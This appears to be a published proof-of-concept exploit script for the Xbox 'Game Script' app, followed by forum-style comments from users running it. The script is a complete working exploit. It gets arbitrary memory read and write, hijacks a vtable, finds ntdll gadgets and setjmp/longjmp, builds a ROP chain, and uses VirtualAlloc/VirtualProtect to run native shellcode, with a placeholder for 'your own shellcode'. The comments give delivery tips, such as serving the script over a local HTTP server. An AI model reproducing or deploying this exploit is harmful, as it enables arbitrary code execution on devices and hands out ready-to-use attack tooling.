Game Script native code execution PoC

gspoc.txt

// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
//
// sample shellcode: mov rax, 0x1337; ret;
// drop your own shellcode inplace here
let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]

// hex printing helper functions
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}

fn hex_to_num(s) {
	var str_len = len(s)
	var res = 0
	for (var i = 0; i < str_len; i++)
	{
		res = res << 4
		res = res + c2i_map[s[i]]
	}
	return res
}

fn num_to_hex(num, byte_count) {
	if (byte_count > 8) {
		byte_count = 8
	}
	var res = ""
	for (var i = 0; i < byte_count * 2; i++) {
		var idx = (num >> (4 * i)) & 15
		res = i2c_map[idx] + res 
	}
	return res
}

fn num_to_hex8(num) {
	return num_to_hex(num, 1)
}

fn num_to_hex16(num) {
	return num_to_hex(num, 2)
}

fn num_to_hex32(num) {
	return num_to_hex(num, 4)
}

fn num_to_hex64(num) {
	return num_to_hex(num, 8)
}

fn hex_dump(addr, count) {
	for (var i = 0; i < count; i++) {
		if (i > 0 && (i % 16) == 0) {
			printConsole("\n")
		}
		var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i)
		printConsole(num_to_hex8(cur_byte) + " ")
	}
}

fn array_fill(arr) {
	var arr_len = len(arr)
	for (var i = 0; i < arr_len; i++) {
		arr[i] = 0x41
	}
}

fn round_down(val, bound) {
	return floor(val - (val % bound))
}

fn array_compare(a1, a2) {
	if (len(a1) != len(a2)) {
		return false
	}
	var arr_len = len(a1)
	
	for (var i = 0; i < arr_len; i++) {
		if (a1[i] != a2[i]) {
			return false
		}
	}

	return true
}

// shorthand helpers for memory access
fn write8(addr, val) {
	pointerSetUnsignedInteger8Bit(0, addr, val)
}

fn read8(addr) {
	return pointerGetUnsignedInteger8Bit(0, addr)
}

fn write16(addr, val) {
	pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
}

fn read16(addr) {
	return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
}

fn write32(addr, val) {
	pointerSetAtOffsetUnsignedInteger(0, addr, val)
}

fn read32(addr) {
	return pointerGetAtOffsetUnsignedInteger(0, addr)
}


fn write64(addr, val) {
	pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
}

fn read64(addr) {
	return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
}

fn read_buf(addr, buf) {
	var buf_len = len(buf)
	for (var i = 0; i < buf_len; i++) {
		buf[i] = read8(addr + i)
	}
}

fn write_buf(addr, buf) {
	var buf_len = len(buf)
	for (var i = 0; i < buf_len; i++) {
		write8(addr+i, buf[i])
	}
}

fn find_bytes(addr, max_len, pattern, buf) {
	for (var i = 0; i < max_len; i++) {
		read_buf(addr + i, buf)
		if (array_compare(pattern, buf)) {
			return addr + i
		}
	}
	return 0
}

fn find64(addr, max_len, v) {
	var offset = 0
	while (1) {
		var temp_val = read64(addr+offset)
		if (temp_val == v) {
			return addr+offset
		}
		offset += 8
	}
	return 0
}

// shorthand funcs
fn ptr_to_num(p) {
	return numberFromRaw64BitUnsignedInteger(p)
}

var gs_base = 0
var ntdll_base = 0
var kernelbase_base = 0
var longjmp_ptr = 0
var setjmp_ptr = 0
var gadget_ptr = 0
fn call_native(func_ptr, rcx, rdx, r8, r9) {
	// allocate our objects
	var obj_ptr = globalArrayNew8Bit("call", 0x100)
	var objp = ptr_to_num(obj_ptr)
	var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
	var vtp = ptr_to_num(vt_ptr)
	var stack_size = 0x4000
	var stack_ptr = globalArrayNew8Bit("stack", stack_size)
	var stackp = ptr_to_num(stack_ptr)
	var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
	var jcp = ptr_to_num(jmpctx_ptr)

	// set up vtable pointers
	write64(vtp+8, setjmp_ptr)
	write64(objp, vtp)

	// trigger vtable call
	slBus_destroy(obj_ptr)
	memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)

	// set up our rop chain
	write64(stackp+stack_size-0xA0, rdx)
	write64(stackp+stack_size-0x98, rcx)
	write64(stackp+stack_size-0x90, r8)
	write64(stackp+stack_size-0x88, r9)
	write64(stackp+stack_size-0x80, 0)
	write64(stackp+stack_size-0x78, 0)
	write64(stackp+stack_size-0x70, func_ptr)
	write64(stackp+stack_size-0x68, gs_base+0x1F13A)
	write64(stackp+stack_size-0x38, 0x15151515)
	write64(stackp+stack_size-0x30, gs_base+0x109C4A)
	write64(stackp+stack_size-0x28, jcp)
	write64(stackp+stack_size-0x20, longjmp_ptr);
	
	// set up the vtable and setjmp context
	write64(vtp+8, longjmp_ptr)
	write64(objp, vtp)
	write64(objp+0x10, stackp+stack_size-0xA0)
	write64(objp+0x50, gadget_ptr)
	
	// trigger vtable call
	slBus_destroy(obj_ptr)
	var ret_val = read64(stackp+stack_size-0x68)

	// clean up our objects
	globalArrayDelete("call")
	globalArrayDelete("vtable")
	globalArrayDelete("stack")
	globalArrayDelete("jctx")

	return ret_val
}

fn find_module_base(addr) {
	var search_addr = round_down(addr, 0x10000)	

	while (1) {
		var magic_static = [0x4D, 0x5A]
		var magic_read = [0, 0]
		read_buf(search_addr, magic_read)

		if (array_compare(magic_static, magic_read)) {
			return search_addr
		}
		search_addr -= 0x10000
	}
	return 0
}

fn get_dll_exports(base_addr) {
	var res = {}
	var magic_static = [0x4D, 0x5A]
	var magic_read = [0, 0]
	read_buf(base_addr, magic_read)

	if (!array_compare(magic_static, magic_read)) {
		printConsole("Magic is invalid!\n")
		return res
	}

	
	var e_lfanew = read32(base_addr+0x3c)
	var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)

	var num_funcs = read32(exports_addr+0x14)
	var num_names = read32(exports_addr+0x18)

	var funcs_addr = base_addr + read32(exports_addr+0x1c)
	var names_addr = base_addr + read32(exports_addr+0x20)
	var ords_addr = base_addr + read32(exports_addr+0x24)

	for (var i = 0; i < num_names; i++) {
		var name_addr = base_addr + read32(names_addr + (4 * i))
		var name_str = pointerGetSubstring(0, name_addr, 0x20)
		var ordinal = read16(ords_addr + (2 * i))
		var func_addr =  base_addr + read32(funcs_addr + (4 * ordinal))
		res[name_str] = func_addr
	}

	return res
}

var VirtualAlloc_ptr = 0
var VirtualProtect_ptr = 0
fn map_code(code) {
	var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
	write_buf(code_addr, code)

	var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
	var oldpp = ptr_to_num(oldp_ptr)
	call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
	return code_addr
}

// create and dump our object to the terminal
var slbus_ptr = slBus_create()
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)

// get the base of the GameScript module via the vtable
gs_base = read64(slp) - 0x16faf8

// find base addresses of ntdll and kernelbase
ntdll_base = find_module_base(read64(gs_base + 0x125398))
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))

// find longjmp and setjmp for call_native
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)

// find one of our gadgets in ntdll
var gadget_bytes = [0x5A,0x59,0x41,0x58,0x41,0x59,0x41,0x5A,0x41,0x5B,0xC3]
tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0]
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)

// get the ntdll & kernel base exports and find VirtualAlloc/Protect
var kernelbase_exports = get_dll_exports(kernelbase_base)
var ntdll_exports = get_dll_exports(ntdll_base)
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]

// map our shellcode
var shellcode_addr = map_code(shellcode)
var shellcode_ret = call_native(shellcode_addr, 0, 0, 0, 0)

printConsole("Shellcode return value: " + num_to_hex64(shellcode_ret) + "\n")

Hi guys, can anyone help me pls. I get this error message when I try snd run the code via pico. Script loads up on the game script app, but when I try to test the script i get this error message. See picture

you dont need to use a Pico to get the script into the app. if you set your xbox's DNS to 127.0.0.1, you can run a http server with python on your PC and serve the script that way, copy it from msedge and then paste it into the app.

I would still like to know how to fix this error for my pico. I'm on the correct vulnerable firmware. I'm confused to what I'm doing wrong. The script loads into the app. Pressed run code , nothing happens but when I select error message screen I get that error message.

I would still like to know how to fix this error for my pico. I'm on the correct vulnerable firmware. I'm confused to what I'm doing wrong. The script loads into the app. Pressed run code , nothing happens but when I select error message screen I get that error message.

Remove the uncommented code or add comments at the very top

I got it working. I had a feeling i

t was the keyboard dictation. Mine was UK keyboard layout so I changed it to US and it works.

Also, pinging @kgabis since Game Script on Xbox used his Ape scripting language. 😃 (sorry, @kgabis, this code was not my intention 2 years ago! 😄)

I did not expect ape to be used in such a fun way, for a moment I was worried that's a bug in my code 😂

Tell me how to clear the window of Game Script from the previous script.
I can't insert a new one.

Tell me how to clear the window of Game Script from the previous script. I can't insert a new one.

click on the text window until the virtual keyboard pops up, then insert a usb keyboard and hit CTRL+A and backspace